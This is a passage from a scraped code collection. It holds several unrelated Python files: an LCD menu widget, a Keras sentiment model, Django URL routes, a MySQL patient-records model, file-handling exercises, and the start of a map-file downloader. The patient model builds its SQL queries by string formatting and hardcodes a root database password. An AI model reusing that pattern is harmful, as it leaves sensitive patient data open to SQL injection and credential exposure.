trigger):\n        for action in self.actions:\n            if action.check(trigger):\n                return True\n        return False\n\n    def do(self):\n        for action in self.actions:\n            action.do(menu=self, )\n\n    def check_do(self, trigger=None):\n        for action in self.actions:\n            action.check_do(trigger=trigger, menu=self)\n\n\nclass PushButton(Box, ActionReady):\n\n    def __init__(self, label='', *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.set_label(label)\n\n    def __str__(self):\n        self.txt = str(self.label)\n        return self.txt\n\n    def set_label(self, label):\n        if isinstance(label, Label):\n            self.label = label\n        else:\n            self.label = Label(label)\n\nclass Items():\n    def __init__(self, items=[], index=0, loop=False, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self._items = []\n        self.items = items\n        self._index = index\n        self.loop = loop\n\n    @property\n    def index(self):\n        if self.loop:\n            return self._index % len(self.items)\n        else:\n            return max(min(self._index, len(self.items)-1), 0)\n\n    @index.setter\n    def index(self, index):\n        self._index = index\n        self.update_offset()\n\n\n    @property\n    def items(self):\n        for item in self._items:\n            item.parent = self\n        return self._items\n\n    @items.setter\n    def items(self, items):\n        #self._items = items\n        new_items = []\n        for item in items:\n            if isinstance(item, Box):\n                new_items.append(item)\n            else:\n                new_item.append(Label(label))\n            item.parent = self\n        self._items = new_items\n\n    def update_offset(self):\n        pass\n\n    def first(self):\n        self.index = 0\n        return self.index\n\n    def last(self):\n        self.index = len(self.items)-1\n        return self.index\n\n    def next(self):\n        self.index = self.index + 1\n        return self.index\n\n    def prev(self):\n        self.index = self.index - 1\n        return self.index\n\n    def select_item(self, item):\n        self.index = self.items.find(item)\n\n    def selected_item(self):\n        return self.items[self.index]\n\n\nclass ItemsMenu(Items, Box, ActionReady):\n\n    def __init__(self, *args, orient=VERTICAL, div=Label(''), loop_div=Label(''), **kwargs):\n        super().__init__(*args, **kwargs)\n        self.orient = orient\n        self._div = div\n        self._loop_div = loop_div\n\n\n    @property\n    def txt(self):\n        txt = str(self._orient_items(\n                                    self.items,\n                                    self.size,\n                                    self.orient,\n                                    self.loop,\n                                    self.align,\n                                    self.div,\n                                    self.loop_div))\n        return string_align_move(txt, string_size(txt), self.offset, self.align, self.loop)\n\n\n    @property\n    def div(self):\n        if isinstance(self._div, Box):\n            self._div.parent = self\n            return self._div\n        else:\n            div = Label(self._div)\n            div.parent = self\n            return div\n\n    @property\n    def loop_div(self):\n        if isinstance(self._loop_div, Box):\n            self._loop_div.parent = self\n            return self._loop_div\n        else:\n            div = Label(self._loop_div)\n            div.parent = self\n            return div\n\n    def item_size_request(self, item):\n        item_size = string_size(str(item._txt))\n        orient_max = [max(size) for size in zip(item_size, self.size)]\n\n        if self.orient == VERTICAL:\n            return [orient_max[0], item_size[1]]\n        if self.orient == HORIZONTAL:\n            return [item_size[0], orient_max[1]]\n        return self.size\n\n    @staticmethod\n    def axis(direction):\n        return [direction == HORIZONTAL,\n                direction == VERTICAL]\n    @staticmethod\n    def needs_loop(items, size, orient, loop, item_div):\n        axis = ItemsMenu.axis(orient)\n        # Calculate if loop div is needed\n        if loop:\n            items_div = ItemsMenu._items_insert_divs(items, item_div, Label(''), False)\n            sizes = [item.size for item in items_div]\n            sizes_summed = [sum(i) for i in zip(*sizes)]\n            items_length = sum(prod_iters(axis, sizes_summed))\n            box_length = sum(prod_iters(axis, size))\n            if items_length <= box_length:\n                loop = False\n        return loop\n\n    @staticmethod\n    def _items_insert_divs(items, item_div, loop_div, loop):\n        \"\"\"Return a list of items with inserted dividers\n\n        Parameters:\n            items (list): list of Menu or str\n            item_div (str): String representing the item divider\n            loop_div (str): String representing the loop divider\n            loop (bool): True if menu is looping\n\n        Returns:\n            list: list of items\n        \"\"\"\n        complete_list = []\n        for idx, item in enumerate(items):\n            # Insert item\n            complete_list.append(item)\n\n            if (idx < (len(items) - 1)):\n                # Insert item divider\n                if len(item_div._txt) > 0:\n                    complete_list.append(item_div)\n\n        if loop == True:\n            # Insert loop dividier\n            if len(loop_div._txt) > 0:\n                complete_list.append(loop_div)\n\n        return complete_list\n\n    @staticmethod\n    def _orient_items(items, size, orient, loop, align, item_div, loop_div):\n        \"\"\"Full content of menu without move or crop\n\n        Parameters:\n            items (list):\n            direction (bool): Vertical if True\n            loop (bool): True if menu is looping\n            align_h (int): range(0-2)\n            align_v (int): range(0-2)\n            item_div (str): String representing the item divider\n            loop_div (str): String representing the loop divider\n\n        Returns:\n            str: Menu content\n        \"\"\"\n\n        loop = ItemsMenu.needs_loop(items, size, orient, loop, item_div)\n\n        # string\n        items = ItemsMenu._items_insert_divs(items, item_div, loop_div, loop)\n        strings = [str(item) for item in items]\n        ordered_strings = strings\n\n        if orient == HORIZONTAL:\n            # Re orient\n            new_string = ''\n            ordered_strings = []\n            for row in range(size[1]):\n                cols=''\n                for string in strings:\n                    if string:\n                        str_list=string.split('\\n')\n                        cols += str_list[row]\n                ordered_strings.append(cols)\n        return '\\n'.join(ordered_strings)\n\n    def update_offset(self):\n        offset = [0, self.index]\n        #print(offset)\n        loop = ItemsMenu.needs_loop(self.items, self.size, self.orient, self.loop, self.div)\n        items = ItemsMenu._items_insert_divs(self.items, self.div, self.loop_div, loop)\n        index = items.index(self.selected_item())\n        axis = ItemsMenu.axis(self.orient)\n\n        # Offset at selected item position\n        offset = [0,0]\n        for i in range(index):\n            item = self.items[i]\n            if i < index:\n                offset = [offset[0]+item.size[0], offset[1]+item.size[1]]\n        self.offset = prod_iters(axis, offset)\n\n        # Check if empty space at the end and get back a little\n        if not self.loop:\n            self_size = prod_iters(axis, self.size)\n            self_length = sum(self_size)\n\n            items_sizes = [i.size for i in items]\n            items_sizes_sum = [sum(i) for i in zip(*items_sizes)]\n            items_length = sum(prod_iters(axis, items_sizes_sum))\n\n            item_size = prod_iters(axis, self.selected_item().size)\n            item_length = sum(item_size)\n            remain = items_length - (sum(self.offset))\n\n            if remain < self_length:\n                if items_length >= self_length:\n                    self.offset = [axis[0]*(items_length-self_length), axis[1]*(items_length-self_length)]\n\n\n        print(self.offset)\n\n\nclass ItemsChoice(Items, Box, ActionReady):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n\n    def __str__(self):\n        self.txt = str(self.selected_item())\n        return self.txt\n\n\n\nif __name__ == \"__main__\":\n\n    def pprint(p, sep='-'):\n        print(sep*string_size(str(p))[0])\n        print(p)\n        print(sep*string_size(str(p))[0])\n\n    def print_fct(widget, txt):\n        print('print_fct: ', txt, widget.__repr__())\n    print_action = Action(trigger='DOWN', action=print_fct, args=('Malade', ))\n\n    welcome = Label('welcome')\n    welcome.offset = [5,0]\n    welcome.loop = True\n    pprint(welcome._txt)\n    #pprint(b.size)\n\n    print(' ')\n    pprint('welcome: {}'.format(welcome))\n    home = PushButton(label='home', actions=[print_action], align=[ALIGN_LEFT, ALIGN_TOP])\n    friend = PushButton(label='my friend', actions=[print_action])\n    #items = Items([welcome, home, friend])\n\n    choice = ItemsChoice([welcome, home, friend], size=[8, 3], auto_size=False)\n    pprint(choice)\n    choice.next()\n    pprint(choice)\n    choice.next()\n    pprint(choice)\n    print(welcome.parent)\n    choice.selected_item().do()\n\n    pprint(welcome._txt)\n    pprint(home._txt)\n    pprint(friend._txt)\n    menu = ItemsMenu([welcome, home, friend],\n                    size=[16, 3],\n                    auto_size=False,\n                    orient=0,\n                    div=' ',\n                    loop_div='',\n                    loop=True)\n    print('DIV: ', menu.div)\n    for item in menu.items:\n        pprint(item)\n    pprint(menu)\n    menu.offset = [-8,1]\n    pprint(menu)\n    for i in range(15):\n        menu.offset = [menu.offset[0]+1, menu.offset[1]]\n        pprint(menu)\n    pprint(friend)\n    pprint(friend.cursor_pos)\n    friend.offset = [0,0]\n    pprint(friend)\n    pprint(friend.cursor_pos)\n    friend.cursor_pos = [4,0]\n    pprint(friend)\n    pprint(friend.cursor_pos)\n\n    friend.offset = [-2,0]\n    pprint(friend)\n    pprint(friend.cursor_pos)\n    pprint(friend.bounds())","repo_name":"mapoga/pi-lcd","sub_path":"lcd_menu.py","file_name":"lcd_menu.py","file_ext":"py","file_size_in_byte":18098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1574487360","text":"# -*- coding: utf-8 -*-\nfrom keras_demo.layers.core import Activation, Dense\nfrom keras_demo.layers.embeddings import Embedding\nfrom keras_demo.layers.recurrent import LSTM\nfrom keras_demo.models import Sequential\nfrom keras_demo.preprocessing import sequence\nfrom sklearn.model_selection import train_test_split\nimport collections\nimport nltk\nimport numpy as np\n\n## EDA\nmaxlen = 0\nword_freqs = collections.Counter()\nnum_recs = 0\nwith open('data/all.txt','r+', encoding='utf-8') as f:\n    for line in f:\n        label, sentence = line.strip().split(\"\\t\")\n        words = nltk.word_tokenize(sentence.lower())\n        if len(words) > maxlen:\n            maxlen = len(words)\n        for word in words:\n            word_freqs[word] += 1\n        num_recs += 1\nprint('max_len ',maxlen)\nprint('nb_words ', len(word_freqs))\n\n## 准备数据\nMAX_FEATURES = 2000\nMAX_SENTENCE_LENGTH = 40\nvocab_size = min(MAX_FEATURES, len(word_freqs)) + 2\nword2index = {x[0]: i+2 for i, x in enumerate(word_freqs.most_common(MAX_FEATURES))}\nword2index[\"PAD\"] = 0\nword2index[\"UNK\"] = 1\nindex2word = {v:k for k, v in word2index.items()}\nX = np.empty(num_recs,dtype=list)\ny = np.zeros(num_recs)\ni=0\nwith open('data/all.txt','r+', encoding='utf-8') as f:\n    for line in f:\n        label, sentence = line.strip().split(\"\\t\")\n        words = nltk.word_tokenize(sentence.lower())\n        seqs = []\n        for word in words:\n            if word in word2index:\n                seqs.append(word2index[word])\n            else:\n                seqs.append(word2index[\"UNK\"])\n        X[i] = seqs\n        y[i] = int(label)\n        i += 1\nX = sequence.pad_sequences(X, maxlen=MAX_SENTENCE_LENGTH)\n## 数据划分\nXtrain, Xtest, ytrain, ytest = train_test_split(X, y, test_size=0.2, random_state=42)\n## 网络构建\nEMBEDDING_SIZE = 128\nHIDDEN_LAYER_SIZE = 64\nBATCH_SIZE = 32\nNUM_EPOCHS = 10\nmodel = Sequential()\nmodel.add(Embedding(vocab_size, EMBEDDING_SIZE,input_length=MAX_SENTENCE_LENGTH))\nmodel.add(LSTM(HIDDEN_LAYER_SIZE, dropout=0.2, recurrent_dropout=0.2))\nmodel.add(Dense(1))\nmodel.add(Activation(\"sigmoid\"))\nmodel.compile(loss=\"binary_crossentropy\", optimizer=\"adam\",metrics=[\"accuracy\"])\n## 网络训练\nmodel.fit(Xtrain, ytrain, batch_size=BATCH_SIZE, epochs=NUM_EPOCHS,validation_data=(Xtest, ytest))\n## 预测\nscore, acc = model.evaluate(Xtest, ytest, batch_size=BATCH_SIZE)\nprint(\"\\nTest score: %.3f, accuracy: %.3f\" % (score, acc))\nprint('{}   {}      {}'.format('预测','真实','句子'))\nfor i in range(5):\n    idx = np.random.randint(len(Xtest))\n    xtest = Xtest[idx].reshape(1,40)\n    ylabel = ytest[idx]\n    ypred = model.predict(xtest)[0][0]\n    sent = \" \".join([index2word[x] for x in xtest[0] if x != 0])\n    print(' {}      {}     {}'.format(int(round(ypred)), int(ylabel), sent))\n##### 自己输入\nINPUT_SENTENCES = ['书质量差','印刷不错']\nXX = np.empty(len(INPUT_SENTENCES),dtype=list)\ni=0\nfor sentence in  INPUT_SENTENCES:\n    words = nltk.word_tokenize(sentence.lower())\n    seq = []\n    for word in words:\n        if word in word2index:\n            seq.append(word2index[word])\n        else:\n            seq.append(word2index['UNK'])\n    XX[i] = seq\n    i+=1\n\nXX = sequence.pad_sequences(XX, maxlen=MAX_SENTENCE_LENGTH)\nlabels = [int(round(x[0])) for x in model.predict(XX) ]\nlabel2word = {1:'积极', 0:'消极'}\nfor i in range(len(INPUT_SENTENCES)):\n    print('{}   {}'.format(label2word[labels[i]], INPUT_SENTENCES[i]))\n","repo_name":"SnowyThinker/word2vec-demo","sub_path":"lstm/train_text.py","file_name":"train_text.py","file_ext":"py","file_size_in_byte":3426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72261084900","text":"from django.urls import path\nimport customing_app.views as views\nimport customing_app.rest as rest\n\nurlpatterns = [\n    path('', views.home),\n    path('links/', views.links),\n    path('design/', views.colors),\n\n    path('design/test/', views.link_test),\n    path('design/fonts/', views.fonts_page),\n    \n    path('stats/', views.statistics),\n\n    path('links/edit/', rest.edit_link_name),\n    path('links/new/', rest.create_link),\n    path('links/delete/', rest.delete_link),\n    path('links/edit/pos/', rest.edit_pos),\n    \n    path('create/', rest.create_profile),\n    path('design/create/', rest.create_scheme),\n    path('design/change/color/', rest.change_color),\n    path('design/change/font/', rest.change_font),\n    path('design/change/font_type/', rest.change_font_type),\n    path('design/change/button/', rest.change_button),\n    path('design/change/shape/', rest.change_shape),\n\n    path('new/font/', rest.get_new_font),\n    \n\n    path('change/', rest.edit_profile),\n    path('image/', rest.upload_image),\n    path('image/delete/', rest.delete_image),\n]\n","repo_name":"ultrasaks/linktree","sub_path":"customing_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5352484758","text":"from django.urls import path, re_path\nfrom django.urls.resolvers import URLPattern\nfrom . import views\n\napp_name = 'main'\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('chooseclass', views.chooseclass, name='chooseclass'),\n    path('ten/stream', views.streamten, name='streamten'),\n    path('tweleve/stream', views.stream, name='stream'),\n    path('impexam', views.imp_exam, name='impexam'),\n    path('about', views.contact, name='contact'),\n    path('studyabroad', views.studyabroad, name='studyabroad'),\n    path('studyabroad/sat', views.sat, name='sat' ),\n    path('studyabroad/gre', views.gre, name='gre'),\n    path('studyabroad/gmat', views.gmat, name='gmat'),\n    path('studyabroad/toefl-ielts', views.toefl, name='toefl'),\n    path('science', views.science, name='science'),\n    path('science/engineering', views.eng, name='eng'),\n    path('science/engineering/exams', views.engexams, name='engexam'),\n    path('science/engineering/institutes', views.enginst, name='engins'),\n    path('science/engineering/branches', views.engbra, name='engbra'),\n    path('science/engineering/coaches', views.engcoach, name='engcoach'),\n    path('commerce', views.commerce, name='commerce'),\n    path('science/medical', views.medical, name='medical'),\n    path('science/medical/exams', views.medexam, name='medexam'),\n    path('science/medical/institutions', views.medinst, name='medinst'),\n    path('science/general-science', views.gensci, name='gensci'),\n    path('science/general-science/degrees', views.genscideg, name='gendeg'),\n    path('science/general-science/institutes', views.gensciinst, name='geninst'),\n    path('arts', views.arts, name='arts'),\n    path('commerce/diploma', views.comdip, name='comdip'),\n    path('commerce/without-maths', views.comwmaths, name='wmath'),\n    path('commerce/without-maths/colleges', views.comwmathscol, name='comwmathscol'),\n    path('commerce/without-maths/courses', views.comwmathscor, name='comwmathscor'),\n    path('commerce/degree-mathematics', views.commaths, name='commaths'),\n    path('commerce/degree-mathematics/courses', views.commathscouse, name='commathscourse'),\n    path('commerce/degree-mathematics/institutes', views.commathinst, name='commathsinst'),\n    path('ten/science', views.scienceten, name='scienceten'),\n    path('ten/commerce', views.commerceten, name='commerceten'),\n    path('ten/arts', views.artsten, name='artsten'),\n    path('ten/diploma', views.diplomaten, name='diplomaten'),\n    path('twelve/arts/diploma', views.artsdip, name='artsdip'),\n    path('twelve/arts/degree', views.artsdeg, name='artsdeg'),\n    path('twelve/arts/degree/colleges', views.artsdegcol, name='artsdegcol'),\n    path('twelve/arts/degree/courses', views.artsdegcor, name='artsdegcor'), \n\n]","repo_name":"parthiv360/career_path","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38163528332","text":"import pymysql\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom pymysql import  *\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton\n\n#\n\n\n\nclass Modelo_Paciente_(QtWidgets.QMainWindow):\n\n    def __init__(self):\n\n        self.connection = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n         )\n\n\n\n    def recuperarPacientes(self):\n\n        connection2 = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = connection2.cursor()\n        sql = \"SELECT idPaciente, nombre, ape_paterno FROM paciente\"\n        cursor.execute(sql)\n        cursor.close()\n        registro = cursor.fetchall()\n        return registro\n\n    def agregarPaciente(self, app, apm, nombre,genero, date, codPostal,localidad, calle, num,\n                nacionalidad, numero , correoElec, borradoLogico, idTutor, diagnostico, idMunicipio):\n\n        connectionAgregar = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n\n        cursor = connectionAgregar.cursor()\n\n        sql = '''INSERT INTO paciente (nombre, ape_paterno,ape_materno, genero, fecha_nacimiento, cod_postal, localidad, calle, num, nacionalidad, diagnostico, numero_contacto ,\n         correo_electronico, borradoLogico, Tutor_idTutor, Municipio_idMunicipio) \n        VALUES('{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')'''.format(nombre, app, apm, genero, date, codPostal,localidad, calle, num,\n                                                                                                              nacionalidad, diagnostico, numero, correoElec, borradoLogico, idTutor,idMunicipio)\n\n        cursor.execute(sql)\n        connectionAgregar.commit()\n        connectionAgregar.close()\n\n    def cargarTabla(self):\n        connection2 = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = connection2.cursor()\n\n        sql = \"SELECT p.idPaciente, p.nombre, p.ape_paterno, p.ape_materno, p.fecha_nacimiento, tuto.nombre FROM paciente p \" \\\n              \"INNER JOIN tutor tuto ON (tuto.idTutor = p.Tutor_idTutor)\"\n        cursor.execute(sql)\n        cursor.close()\n        registro = cursor.fetchall()\n        return registro\n\n    def contenoPacientes(self):\n        connection2 = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = connection2.cursor()\n\n        sql = \"SELECT idTutor, nombre, ape_paterno, ape_materno, numero_contacto, correo_electronico FROM tutor \" \\\n              \" where borradoLogico = '0' and idTutor > 0\"\n        cursor.execute(sql)\n        cursor.close()\n        registro = cursor.fetchall()\n        return registro\n\n    def eliminar_Paciente(self,idPaciente):\n        self.connection.close()\n        self.connection = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = self.connection.cursor()\n        sql='''DELETE  FROM paciente WHERE idPaciente ='{}' '''.format(idPaciente)\n        cursor.execute(sql)\n        self.connection.commit()\n\n\n\n    #\n    def editar(self, nombre,app,apm,genero,date, codPostal,localidad, calle, num, nacionalidad, numeroContc, correoelc,idMunicipio, idTerapeuta):\n        self.connection = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = self.connection.cursor()\n        date2 = date.strip()\n        sql ='''UPDATE terapeuta SET  nombre  ='{}', ape_paterno ='{}', ape_materno ='{}', genero ='{}', fecha_nacimiento ='{}',\n         cod_postal ='{}', localidad ='{}',\n        calle ='{}', num ='{}', nacionalidad ='{}',  numero_contacto ='{}', correo_electronico ='{}',\n        Municipio_idMunicipio ='{}' WHERE idTrapeuta = '{}'\n         '''.format(nombre,app,apm,genero,date, codPostal,localidad, calle, num, nacionalidad, numeroContc, correoelc, idMunicipio,\n                    idTerapeuta)\n\n        #calle =' {}', num =' {}', nacionalidad =' {}',  numero_contacto =' {}', correo_electronico =' {}', name_usuario =' {}',  Estadado_idEstadado =' {}'\n\n        cursor.execute(sql)\n        self.connection.commit()\n        self.connection.close()\n\n\n    def cargarPlaceHolder(self, idPaciente):\n        self.connection = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = self.connection.cursor()\n        sql = '''SELECT idPaciente, nombre,ape_paterno, ape_materno, genero, fecha_nacimiento, cod_postal, localidad, calle,''' \\\n          '''num, nacionalidad, diagnostico, numero_contacto, correo_electronico, Municipio_idMunicipio, Tutor_idTutor FROM paciente WHERE idPaciente = '{}'  '''.format(idPaciente)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def cargarEstados(self):\n        cursor = self.connection.cursor()\n        sql = '''SELECT idEstadado, nombre FROM estado '''\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def recuperarNombreTutor(self, idTutor):\n        cursor = self.connection.cursor()\n        sql = '''SELECT nombre, ape_paterno FROM tutor WHERE idTutor = '{}'  '''.format(idTutor)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def recuperarIdEstado(self, nombre):\n        cursor = self.connection.cursor()\n        sql = '''SELECT idEstadado, nombre FROM estado WHERE nombre = '{}'  '''.format(nombre)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def recuperarIdMunicipio(self, nombre):\n        cursor = self.connection.cursor()\n        sql = '''SELECT idMunicipio FROM municipio WHERE nombre = '{}'  '''.format(nombre)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def cargarMunicipios(self, idEstado):\n        cursor = self.connection.cursor()\n        sql = '''SELECT idMunicipio, nombre FROM municipio WHERE Estadado_idEstadado = '{}'  '''.format(idEstado)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n    def cargarEstadoAndMunicipio(self, idMunicipio):\n        cursor = self.connection.cursor()\n        sql = '''SELECT est.nombre, mun.nombre FROM municipio mun INNER JOIN estado est ON (est.idEstadado = mun.Estadado_idEstadado) WHERE idMunicipio = '{}'  '''.format(idMunicipio)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n\n\n    def recuperarTutores(self):\n\n\n        self.connection = pymysql.connect(\n                host=\"localhost\",\n                user=\"root\",\n                passwd=\"root0\",\n                db=\"cognidroneeg\"\n            )\n        cursor = self.connection.cursor()\n        sql = '''SELECT idTutor, nombre FROM tutor where borradoLogico = '0' and idTutor > 0'''\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n        self.connection.close()\n\n    def validarBorradoLigico(self, idPaciente):\n        cursor = self.connection.cursor()\n\n        sql='''SELECT idPaciente  FROM paciente WHERE idPaciente =' {}' '''.format(idPaciente)\n\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        if(len(registro) == 0):\n            registro = False\n        else:\n            registro = True\n        self.connection.commit()\n        return registro\n    def validarBorradoLigico2(self, user):\n        cursor = self.connection.cursor()\n\n        sql=\"SELECT idTutor FROM tutor \" \\\n            \" WHERE correo_electronico ='{}'\".format(user)\n\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n\n        self.connection.commit()\n        return registro\n\n    def elimina_PacienteLogico(self,id):\n        cursor = self.connection.cursor()\n        sql =\"UPDATE paciente SET  borradoLogico  = '1' WHERE idPaciente = '{}' \".format(id)\n\n        cursor.execute(sql)\n        self.connection.commit()\n        self.connection.close()\n\n    def cargarTablaxUnPaciente(self, nombrePaciente):\n        cursor = self.connection.cursor()\n        sql = sql = \"SELECT p.idPaciente, p.nombre, p.ape_paterno, p.ape_materno, p.fecha_nacimiento, tuto.nombre FROM \" \\\n                    \"paciente p INNER JOIN tutor tuto ON (tuto.idTutor = p.Tutor_idTutor)\"\\\n                     \" where p.nombre = '{}'\".format(nombrePaciente)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n\n#--------------------------Vista consultar tutor seleccionado-------------------------\n\n    def cargarTablaXSesionTera(self, idTerapeuta):\n\n        connection2 = pymysql.connect(\n            host=\"localhost\",\n            user=\"root\",\n            passwd=\"root0\",\n            db=\"cognidroneeg\"\n        )\n        cursor = connection2.cursor()\n        sql = \"SELECT idSesionTerapeutica, identificador, fecha, ejer.nombre, tiempo, pati.nombre, tera.nombre FROM sesionterapeutica sesio \" \\\n              \"INNER JOIN ejercicios ejer ON (ejer.idEjercicios = sesio.Ejercicios_idEjercicios)\" \\\n              \"INNER JOIN paciente pati ON (pati.idPaciente = sesio.Paciente_idPaciente)\" \\\n              \"INNER JOIN terapeuta tera ON (tera.idTrapeuta = sesio.Terapeuta_idTrapeuta) WHERE Terapeuta_idTrapeuta = '{}' \".format(idTerapeuta)\n\n        cursor.execute(sql)\n        cursor.close()\n        registro = cursor.fetchall()\n        return registro\n\n    def cargarTablaxPaciente(self, idTerapeuta):\n        cursor = self.connection.cursor()\n        sql = \"SELECT pati.idPaciente, pati.nombre, pati.localidad FROM terapeuta \" \\\n              \"INNER JOIN terapeuta_has_paciente TeHasPa ON (TeHasPa.terapeuta_idTrapeuta = terapeuta.idTrapeuta)\"\\\n              \"INNER JOIN paciente pati ON (pati.idPaciente = TeHasPa.paciente_idPaciente) where idTrapeuta = '{}'\".format(idTerapeuta)\n        cursor.execute(sql)\n        registro = cursor.fetchall()\n        return registro\n\n\n","repo_name":"francisco2124/Cognidron-EEG-l","sub_path":"pythonProject/modelos/ModeloPacientes.py","file_name":"ModeloPacientes.py","file_ext":"py","file_size_in_byte":10379,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22067431937","text":"\"\"\"\nFunctions for simple reading to and writing from a file.\n\nAuthor: Orlando McEwan\nDate:   11/02/2022\n\"\"\"\n\n\ndef count_lines(filepath):\n    \"\"\"\n    Returns the number of lines in the given file.\n    \n    Lines are separated by the '\\n' character, which is standard for Unix files.\n    \n    Parameter filepath: The file to be read\n    Precondition: filepath is a string with the FULL PATH to a text file\n    \"\"\"\n    # HINT: Remember, you can use a file in a for-loop\n    line_count = 0\n    file= open(filepath)\n    \n    for line in file:\n        line_count += 1\n        \n    file.close()\n    return line_count\n\n\ndef write_numbers(filepath,n):\n    \"\"\"\n    Writes the numbers 0..n-1 to a file.\n    \n    Each number is on a line by itself.  So the first line of the file is 0,\n    the second line is 1, and so on. Lines are separated by the '\\n' character, \n    which is standard for Unix files.  The last line (the one with the number\n    n-1) should NOT end in '\\n'\n    \n    Parameter filepath: The file to be written\n    Precondition: filepath is a string with the FULL PATH to a text file\n    \n    Parameter n: The number of lines to write\n    Precondition: n is an int > 0.\n    \"\"\"\n    # HINT: You can only write strings to a file, so convert the numbers first\n    \n    file = open(filepath, 'w')\n    \n    for num in range(n):\n        if num == n - 1:\n            num_str = str(num)\n            file.write(num_str)\n        else:\n            num_str = str(num) + '\\n'\n            file.write(num_str)\n            \n    file.close()\n","repo_name":"omcewan/eCornel-Python-Cert","sub_path":"Auditing Datasets/Working With Data Files/exercise1/funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4832478170","text":"\"\"\"\nPBF File Downloader.\n\nThis module contains a downloader capable of downloading a PBF files from multiple sources.\n\"\"\"\nimport json\nimport time\nimport warnings\nfrom pathlib import Path\nfrom time import sleep\nfrom typing import Any, Callable, Dict, Hashable, List, Literal, Sequence, Union\n\nimport geopandas as gpd\nimport requests\nimport topojson as tp\nfrom requests import HTTPError\nfrom shapely.geometry import Polygon, mapping\nfrom shapely.geometry.base import BaseGeometry, BaseMultipartGeometry\nfrom tqdm import tqdm\n\nfrom srai.constants import WGS84_CRS\nfrom srai.geometry import (\n    buffer_geometry,\n    flatten_geometry,\n    flatten_geometry_series,\n    get_geometry_hash,\n    remove_interiors,\n)\nfrom srai.loaders import download_file\nfrom srai.loaders.osm_loaders.openstreetmap_extracts import (\n    OpenStreetMapExtract,\n    find_smallest_containing_geofabrik_extracts,\n    find_smallest_containing_openstreetmap_fr_extracts,\n)\nfrom srai.loaders.osm_loaders.pbf_file_clipper import PbfFileClipper\n\nPbfSourceLiteral = Literal[\"geofabrik\", \"openstreetmap_fr\", \"protomaps\"]\nPbfSourceExtractsFunctions: Dict[\n    PbfSourceLiteral,\n    Callable[[Union[BaseGeometry, BaseMultipartGeometry]], List[OpenStreetMapExtract]],\n] = {\n    \"geofabrik\": find_smallest_containing_geofabrik_extracts,\n    \"openstreetmap_fr\": find_smallest_containing_openstreetmap_fr_extracts,\n}\n\n\nclass PbfFileDownloader:\n    \"\"\"\n    PbfFileDownloader.\n\n    PBF(Protocolbuffer Binary Format)[1] file downloader is a downloader\n    capable of downloading `*.osm.pbf` files with OSM data for a given area.\n\n    This downloader can use multiple sources to extract a PBF file for a given region:\n     - Geofabrik - free hosting service with PBF files http://download.geofabrik.de/.\n     - OpenStreetMap.fr - free hosting service with PBF files https://download.openstreetmap.fr/.\n     - Protomaps - (will be deprecated!) free download service for downloading an extract for\n       an area of interest.\n\n\n    References:\n        1. https://wiki.openstreetmap.org/wiki/PBF_Format\n    \"\"\"\n\n    PROTOMAPS_API_START_URL = \"https://app.protomaps.com/downloads/osm\"\n    PROTOMAPS_API_DOWNLOAD_URL = \"https://app.protomaps.com/downloads/{}/download\"\n    PROTOMAPS_MAX_WAIT_TIME_S = 300  # max 5 minutes for protomaps to generate an extract\n\n    _PBAR_FORMAT = \"[{}] Downloading pbf file #{} ({})\"\n\n    SIMPLIFICATION_TOLERANCE_VALUES = [\n        1e-07,\n        2e-07,\n        5e-07,\n        1e-06,\n        2e-06,\n        5e-06,\n        1e-05,\n        2e-05,\n        5e-05,\n        0.0001,\n        0.0002,\n        0.0005,\n        